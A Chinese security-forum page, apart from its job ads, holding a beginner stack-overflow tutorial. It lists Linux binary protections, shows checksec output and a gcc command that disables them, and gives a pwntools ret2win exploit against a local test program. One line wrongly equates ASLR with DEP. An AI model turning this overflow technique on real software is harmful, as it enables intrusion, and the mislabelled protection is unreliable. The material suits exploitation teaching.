13分钟前
推荐职位
游戏反外挂职位（PC方向，初，中，高，专家皆可）
经验不限／学历不限
30k以上
上海铭桃互联网科技发展有限公司
未融资/上海
高级安全运维工程师
3-5年／学历不限
20-30k
北京天融信网络安全技术有限公司
上市公司/长沙
软件开发工程师
经验不限／本科
12-20k
北京深思数盾科技股份有限公司
未融资/北京
实时热点
推荐专栏
论坛最新回帖
15分钟前
1小时前
1小时前
知识点：
- ①CANNARY(栈保护) ｛用来保护栈溢出，Cannary found表示开了保护｝
- ②FORTIFY {比较冷门，防止缓冲区溢出}
- ③NX（DEP） ｛不让执行ShellCode操作｝
- ④PIE（ASLR） ｛Win上称为DEP 地址空间分布随机化｝
- ⑤RELRO ｛设置符号重定向表格为只读，绑定所有动态符号，防止GOT攻击｝
Linux下检查保护机制的命令：
checksec test
[*] '/home/lee/test'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
关闭所有保护编译指令：
gcc -no-pie -fno-stack-protector -z execstack -m32 -o test test.c
Exp:
from pwn import *
#--------------------------------------
#init
testProcessHandle = process("./test")
#calc ebp offset
epbOffset = 0x28 + 0x4
#exp func addresss
expAddress = 0x08048456
#payload
payload = 'A' * epbOffset + p32(expAddress)
#--------------------------------------
# EntryPoint Exp Coding By Lee.
def main():
testProcessHandle.sendline(payload)
testProcessHandle.interactive()
# let's go
if __name__ == "__main__":
main()